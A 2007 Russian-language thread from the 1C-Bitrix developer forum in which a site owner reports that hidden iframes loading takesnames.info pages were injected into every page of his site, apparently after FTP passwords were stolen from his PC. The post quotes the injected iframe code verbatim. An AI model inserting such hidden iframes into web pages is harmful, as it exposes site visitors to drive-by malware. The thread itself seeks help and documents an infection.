1С-Битрикс Разработчикам - Василий Умнов (Все сообщения пользователя)

Проблемы с безопасностью сайта на битриксе, Не знаю что делать

Заглянувший

Сообщений: 8 Регистрация: 13.12.2005

04.06.2007 15:51:02

Цитата

Dmitry Valyanov пишет:

Цитата
Василий Умнов пишет: стоит Cute FTP и FAR.

Возможно первое. Вроде бы на Far не грешат.

Господа, будьте осторожны. Чистая винда, установлен касперский и тренд микро. Вирус все равно заразил комп. Пароль был сохранен только в фаре, больше никакого софта для работы с фтп не было. Соответственно видимо фар теперь тоже прекрасно ломается.

Перейти

Проблемы с безопасностью сайта на битриксе, Не знаю что делать

Пользователь 2970

Заглянувший

Сообщений: 8 Регистрация: 13.12.2005

01.06.2007 13:35:25

Цитата
Dmitry Valyanov пишет: Василий, привязал вас к группе пользователей закрытого форума. Проверьте пожалуйста доступ.

Ага, работает

Перейти

Проблемы с безопасностью сайта на битриксе, Не знаю что делать

Пользователь 2970

Заглянувший

Сообщений: 8 Регистрация: 13.12.2005

01.06.2007 13:03:41

Цитата
Dmitry Valyanov пишет: У вас зарегистрированная копия продукта? На какое имя?

Если б я знал

В модуле обновлений написано что зарегистрировано на ООО "Центр Нейросетевых Технологий - Интеллектуаль"
Если продолжить, то должно быть ООО "Центр Нейросетевых Технологий - Интеллектуальные Системы Безопасности"

Перейти

Проблемы с безопасностью сайта на битриксе, Не знаю что делать

Пользователь 2970

Заглянувший

Сообщений: 8 Регистрация: 13.12.2005

01.06.2007 12:53:58

Цитата
Dmitry Valyanov пишет: Укажите пожалуйста ваш клиентский логин, привяжем вас к закрытому форуму, если вы являетесь клиентом компании.

хм...какой логин?

форумский? baumanets

Перейти

Проблемы с безопасностью сайта на битриксе, Не знаю что делать

Пользователь 2970

Заглянувший

Сообщений: 8 Регистрация: 13.12.2005

01.06.2007 11:30:19

Цитата
Евгений Педан пишет: Эта проблема уже поднималась в форуме http://www.bitrixsoft.ru/support/forum/forum7/topic6813/message40793/

У меня требует дополнительной авторизации

Перейти

Проблемы с безопасностью сайта на битриксе, Не знаю что делать

Пользователь 2970

Заглянувший

Сообщений: 8 Регистрация: 13.12.2005

01.06.2007 11:27:17

Цитата
Василий, проверяйте на вирус свой компьютер и компьютер администраторов, у которых есть вход на FTP. По информации других источников - пароли вычитываются вирусом из Total Commander.

Тотал коммандером не пользуюсь......стоит Cute FTP и FAR.

Сейчас идет принудительное сканирование всех дисков на вирусы.

Перейти

Проблемы с безопасностью сайта на битриксе, Не знаю что делать

Пользователь 2970 Заглянувший Сообщений: 8 Регистрация: 13.12.2005	# 01.06.2007 11:13:40 ахренеть, дайте две.........я в шоке спасибо за оперативный ответ
	Перейти

Проблемы с безопасностью сайта на битриксе, Не знаю что делать

Пользователь 2970

Заглянувший

Сообщений: 8 Регистрация: 13.12.2005

01.06.2007 10:58:02

Сегодня с утра обнаружил очень странную вещь. Началось все с того, что позвонил партнер и пожаловался на то, что наш сайт не грузится. Смотрю у себя в файрфоксе - все замечательно работает и я уже мысленно посылаю "тупого идиота с кривыми руками". Однако у меня появилось сомнение - я загружаю эксплорер и вуаля - пустой экран. Код страницы:

Код
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML><HEAD> <META http-equiv=Content-Type content="text/html; charset=windows-1251"></HEAD> <BODY></BODY></HTML>

Пытался разобраться минут 15, отключил все жава скрипты, счетчики - вообще, все что можно было бы отрубить. И тут случайно натыкаюсь в индексном файле, в самом конце вставлен код:

Код

<!-- ~ --><iframe src='http://takesnames.info/st/go.php?sid=' width=1 height=1 style='visibility: hidden;'></iframe>

<iframe src='http://takesnames.info/st/go.php?sid=1' width=1 height=1 style='visibility: hidden;'></iframe>

<iframe src='http://takesnames.info/st/go.php?sid=2' width=1 height=1 style='visibility: hidden;'></iframe>

<iframe src='http://takesnames.info/st/go.php?sid=3' width=1 height=1 style='visibility: hidden;'></iframe><!-- ~ -->

откуда он взялся - не знаю, сисадмин тоже не знает.

Поправил рутовый индексник - индексная страница заработала. Начал лазить по сайту - все остальные страницы заражены этим же кодом. Не знаю сколько раз я выразился матом, пока исправлял все это, но приличные слова я подобрать не могу.

Существуют ли какие-то проблемы с уязвимостью битрикса? Может какая-нибудь дыра открыта? Сам битрикс обновлен до последней версии, "новые обновления ядра недоступны".

урл сайта - ISS

Перейти

Василий Умнов (Все сообщения пользователя)

Продукты

Управление сайтом

Битрикс24

Интернет-магазин + CRM

Решения

Для интернет-магазинов

Каталог готовых решений

Внедрение

Выбрать партнера

Проверить партнера

Стать партнером